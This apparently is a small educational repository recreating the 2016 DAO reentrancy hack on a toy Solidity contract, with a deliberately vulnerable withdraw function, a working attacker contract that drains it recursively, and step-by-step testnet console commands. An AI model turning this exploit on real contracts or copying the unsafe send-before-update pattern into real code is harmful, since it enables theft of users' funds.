├── .gitignore ├── README.md ├── compile_solidity.sh ├── contracts ├── attacker.sol └── dumbDAO.sol └── events.js /.gitignore: -------------------------------------------------------------------------------- 1 | tmp 2 | deplo* 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mock-dao-hack 2 | I wanted to recreate a recurisive send exploit similar to the one used by an attacker to drain "The DAO". I wrote an extremely simplified DAO contract (`dumbDAO.sol`) which is vulnerable to this hack. Included is an attacker contract (`attacker.sol`) which, if executed correctly will drain the dumbDAO contract of its ether. 3 | 4 | #Running the exploit 5 | 6 | NOTE: THESE CONTRACTS WERE BUILT WITH SOLIDITY v0.3.6 - it will not compile with any newer versions!! 7 | 8 | Spin up a new geth node and console on the testnet or a privatenet (would not recommend trying this on the main Ethereum blockchain for obvious reasons). I've included a shell script called `compile_solidity.sh` which you can use to automatically compile the solidity contract code and create a deployment javascript file for you to load into your console. 9 | 10 | ./compile_solidity.sh dumbDAO.sol 11 | 12 | If this runs correctly it should output a `loadScript` function call with the directory to the deployment js file to run as a parameter: 13 | 14 | loadScript('/Path/to/your/ws/mock-dao-hack/contracts/deploy_dumbDAO.js'); 15 | 16 | You should be able to copy and paste this straight into your geth console to deploy the contract. Once it is mined you'll see a log message confirming that the contract mined correctly. The contract javascript var is its all lowercase name (`dumbdao`). Deploy both contracts (doesn't really matter what order). 17 | 18 | Once they are both deployed, lets set a few things up before executing the exploit... 19 | Optional: run the event listener javascript file - sometimes its helpful to have feedback on the javascript console about which events are runnning: 20 | 21 | loadScript('/Path/to/your/ws/mock-dao-hack/events.js'); 22 | 23 | First, buy some DAO tokens as an innocent investor (adjust `eth.accounts[0]` as necessary). 24 | 25 | //buy 100 ether worth of DAO tokens 26 | dumbdao.buyTokens({from:eth.accounts[0],value:web3.toWei(100),gas:3000000}); 27 | 28 | //After that transaction has been mined, check to make sure the tokens were appropriately assigned 29 | web3.fromWei(dumbdao.balances(eth.accounts[0])); 30 | //and check on the balance of the contract itself 31 | web3.fromWei(eth.getBalance(dumbdao.address)); 32 | 33 | Next lets prepare the attacker contract: 34 | 35 | attacker.setDAOAddress(dumbdao.address,{from:eth.accounts[0],gas:3000000}); 36 | attacker.fundMe({from:eth.accounts[0],value:web3.toWei(5),gas:3000000}); 37 | attacker.buyDAOTokens(web3.toWei(5),{from:eth.accounts[0],gas:4000000}); 38 | 39 | //check Token balance for attacker 40 | web3.fromWei(dumbdao.balances(attacker.address)); 41 | 42 | The attacker contract should now be a token holder with 5 ether worth of DAO tokens. To execute the exploit... 43 | 44 | attacker.stealEth(web3.toWei(5),{from:eth.coinbase,gas:4000000}) 45 | 46 | Check the balances of both contracts as well as the balances of the innocent investor...the DAO now has less ether than it thinks it has. 47 | 48 | 49 | #DAO Attack - Part 2 50 | To pull off the DAO hack, the attacker used a combination of the recursive/reentrant call attack and another exploit. This second attack consisted of the attacker transfering his DAO tokens to a different address as the last step of his recursive eploit. After the recurive attack ends and the DAO tries to update the attacker's DAO token balance which is now already 0 because of the transfer. The attacker is now free to transfer the tokens back into the attacker contract and run the exploit again. 51 | 52 | #Further reading 53 | DAO Hack FAQ: 54 | https://www.reddit.com/r/ethereum/comments/4os7l5/the_big_thedao_heist_faq/ 55 | 56 | In depth Analysis: 57 | http://vessenes.com/deconstructing-thedao-attack-a-brief-code-tour/ 58 | 59 | http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/ 60 | 61 | https://pdaian.com/blog/chasing-the-dao-attackers-wake/ 62 | -------------------------------------------------------------------------------- /compile_solidity.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | SOLCFILENAME=`basename $1` 4 | SOLCFILEPATH=`dirname $1` 5 | cd $SOLCFILEPATH 6 | SOLCFILEPATH=`pwd` 7 | cd $SOLCFILEPATH/.. 8 | 9 | mkdir -p deploy 10 | WORKING_DIR=`pwd`/deploy 11 | CONTRACT_EXT="${SOLCFILENAME#*.}" 12 | CONTRACT_EXACT_NAME=`echo ${SOLCFILENAME%.*}` 13 | CONTRACT_NAME=`echo ${SOLCFILENAME%.*} | tr '[:upper:]' '[:lower:]'` 14 | DEPLOY_SCRIPT=$WORKING_DIR/deploy_$CONTRACT_NAME.js 15 | 16 | cd $SOLCFILEPATH 17 | 18 | solc --bin -o $WORKING_DIR/tmp $SOLCFILENAME 19 | solc --abi -o $WORKING_DIR/tmp $SOLCFILENAME 20 | 21 | #TODO - WORK IN PROGRESS 22 | ################################################ 23 | name=`awk "/function ${CONTRACT_EXACT_NAME}\(/ {print}" $SOLCFILENAME` 24 | conregex="\((.*)\)" 25 | if [[ $name =~ $conregex ]]; 26 | then conArgs=${BASH_REMATCH[1]}; 27 | fi 28 | 29 | #echo $conArgs | awk -F',' '{print $1}' 30 | argNumber=`echo $conArgs | awk -F',' '{ for(i = 1; i <= NF; i++) { print $i; max=$i } }' | wc -l` 31 | for (( i = 1; i <= $argNumber; i++ )); do 32 | printf "Please enter Argument $i - " 33 | echo $conArgs | awk -F',' "{print \$$i}" 34 | read anarg 35 | if [[ "${#buildStr}" -gt "0" ]]; then 36 | buildStr=$buildStr$anarg, 37 | buildGasStr="$buildGasStr + pad64(web3.toHex($anarg)) " 38 | fi 39 | if [[ "${#buildStr}" -eq "0" ]]; then 40 | buildStr=$anarg, 41 | buildGasStr=" + pad64(web3.toHex($anarg)) " 42 | fi 43 | done 44 | ################################################ 45 | 46 | echo " " > $DEPLOY_SCRIPT 47 | echo " " >> $DEPLOY_SCRIPT 48 | echo " function pad64(str) { return ('0000000000000000000000000000000000000000000000000000000000000000' + str.substring(2, str.length)).slice(-64);} " >> $DEPLOY_SCRIPT 49 | printf "%s" "var ${CONTRACT_NAME}Contract = web3.eth.contract(" >> $DEPLOY_SCRIPT 50 | printf "%s" `cat $WORKING_DIR/tmp/$CONTRACT_NAME.abi` >> $DEPLOY_SCRIPT 51 | printf "%s" ");" >> $DEPLOY_SCRIPT 52 | echo " " >> $DEPLOY_SCRIPT 53 | printf "%s" "var deploybin = '`cat $WORKING_DIR/tmp/$CONTRACT_NAME.bin`'" >> $DEPLOY_SCRIPT 54 | echo " " >> $DEPLOY_SCRIPT 55 | printf "%s" "var gasEstimate = web3.eth.estimateGas({ from: web3.eth.accounts[0], data: deploybin" >> $DEPLOY_SCRIPT 56 | printf "%s" " $buildGasStr })" >> $DEPLOY_SCRIPT 57 | echo " " >> $DEPLOY_SCRIPT 58 | echo " " >> $DEPLOY_SCRIPT 59 | #TODO - add support for constructor 60 | printf "%s" "var ${CONTRACT_NAME} = ${CONTRACT_NAME}Contract.new($buildStr {" >> $DEPLOY_SCRIPT 61 | printf "%s" " from: web3.eth.accounts[0]," >> $DEPLOY_SCRIPT 62 | printf "%s" " data: '" >> $DEPLOY_SCRIPT 63 | printf "%s" `cat $WORKING_DIR/tmp/$CONTRACT_NAME.bin` >> $DEPLOY_SCRIPT 64 | printf "%s" "', gas: gasEstimate }, function (e, contract){" >> $DEPLOY_SCRIPT 65 | printf "%s" " console.log(e, contract);" >> $DEPLOY_SCRIPT 66 | printf "%s" " if (typeof contract.address !== 'undefined') {" >> $DEPLOY_SCRIPT 67 | printf "%s" " console.log('Deployed Contract ${CONTRACT_NAME} mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);}})" >> $DEPLOY_SCRIPT 68 | 69 | rm -rf $WORKING_DIR/tmp 70 | 71 | echo " " 72 | echo "loadScript('$DEPLOY_SCRIPT');" 73 | echo " " 74 | -------------------------------------------------------------------------------- /contracts/attacker.sol: -------------------------------------------------------------------------------- 1 | import "dumbDAO.sol"; 2 | 3 | contract attacker { 4 | event DefaultFunc(address caller, uint amount, uint num, uint daoBalance); 5 | 6 | address public daoAddress; 7 | address public transferAddress; 8 | 9 | uint[] public arr; 10 | uint public a = 0; 11 | 12 | function () { 13 | DefaultFunc(msg.sender,msg.value,a,dumbDAO(daoAddress).balances(this)-1); 14 | while (a<5) { 15 | a++; 16 | arr.push(a); //to help debug 17 | // if (daoAddress.balance-2*msg.value < 0){ 18 | if (a==4){ 19 | dumbDAO(daoAddress).transferTokens(transferAddress,dumbDAO(daoAddress).balances(this)-1); 20 | } 21 | dumbDAO(daoAddress).withdraw(this); 22 | } 23 | } 24 | 25 | //fund contract without calling the default function 26 | function fundMe(){ 27 | } 28 | 29 | function stealEth(){ 30 | dumbDAO(daoAddress).withdraw(this); 31 | } 32 | 33 | function payOut(address _payee) returns (bool){ 34 | if (_payee.send(this.balance)) 35 | return true; 36 | } 37 | 38 | function buyDAOTokens(uint _amount){ 39 | dumbDAO(daoAddress).buyTokens.value(_amount)(); 40 | } 41 | 42 | function resetA() { 43 | a =0; 44 | } 45 | 46 | function setDAOAddress(address _dao){ 47 | daoAddress =_dao; 48 | } 49 | function setTransferAddress(address _transferAddress){ 50 | transferAddress =_transferAddress; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /contracts/dumbDAO.sol: -------------------------------------------------------------------------------- 1 | contract dumbDAO { 2 | 3 | event PaymentCalled(address payee, uint amount); 4 | event TokensBought(address buyer, uint amount); 5 | event TokensTransfered(address from, address to, uint amount); 6 | event InsufficientFunds(uint bal, uint amount); 7 | 8 | 9 | mapping (address => uint) public balances; 10 | 11 | function buyTokens(){ 12 | balances[msg.sender] += msg.value; 13 | TokensBought(msg.sender, msg.value); 14 | } 15 | 16 | function transferTokens(address _to, uint _amount){ 17 | if (balances[msg.sender] < _amount) 18 | throw; 19 | balances[_to]=_amount; 20 | balances[msg.sender]-=_amount; 21 | TokensTransfered(msg.sender, _to, _amount); 22 | } 23 | 24 | function withdraw(address _recipient) returns (bool) { 25 | if (balances[msg.sender] == 0){ 26 | InsufficientFunds(balances[msg.sender],balances[msg.sender]); 27 | throw; 28 | } 29 | PaymentCalled(_recipient, balances[msg.sender]); 30 | if (_recipient.call.value(balances[msg.sender])()) { //this is vulnerable to recursion 31 | balances[msg.sender] = 0; 32 | return true; 33 | } 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /events.js: -------------------------------------------------------------------------------- 1 | 2 | var payoutEvent = dumbdao.PaymentCalled(); 3 | payoutEvent.watch(function(error, result){ 4 | if (!error){ 5 | console.log("*******************************************************"); 6 | console.log("ID:" + result.args.payee + " paid out: " + result.args.amount); 7 | console.log("*******************************************************"); 8 | } 9 | else { 10 | console.log("oops something went wrong...") 11 | } 12 | }); 13 | 14 | var buyEvent = dumbdao.TokensBought(); 15 | buyEvent.watch(function(error, result){ 16 | if (!error){ 17 | console.log("*******************************************************************************"); 18 | console.log("ID:" + result.args.buyer + " bought: " + result.args.amount + " wei"); 19 | console.log("*********************************************************************************"); 20 | } 21 | else { 22 | console.log("oops something went wrong..."); 23 | } 24 | }); 25 | 26 | var buyEvent = dumbdao.TokensTransfered(); 27 | buyEvent.watch(function(error, result){ 28 | if (!error){ 29 | console.log("*******************************************************************************"); 30 | console.log("Tokens transfered from:" + result.args.from + " to: " + result.args.to+ " amount:" + result.args.amount + " wei"); 31 | console.log("*********************************************************************************"); 32 | } 33 | else { 34 | console.log("oops something went wrong..."); 35 | } 36 | }); 37 | 38 | var insuff = dumbdao.InsufficientFunds(); 39 | insuff.watch(function(error, result){ 40 | if (!error){ 41 | console.log("*******************************************************************************"); 42 | console.log("Inssufficent Funds Bal:" + result.args.bal + " amount tried:" + result.args.amount + " wei"); 43 | console.log("*********************************************************************************"); 44 | } 45 | else { 46 | console.log("oops something went wrong..."); 47 | } 48 | }); 49 | 50 | 51 | var defaultAttackFuncCalled = attacker.DefaultFunc(); 52 | defaultAttackFuncCalled.watch(function(error, result){ 53 | if (!error){ 54 | console.log("*******************************************************************************"); 55 | console.log("Default func called from:" + result.args.caller + " amount: " + result.args.amount + " wei"); 56 | console.log("NUM:" + result.args.num + "BAL:" + result.args.daoBalance); 57 | console.log("*********************************************************************************"); 58 | } 59 | else { 60 | console.log("oops something went wrong..."); 61 | } 62 | }); 63 | --------------------------------------------------------------------------------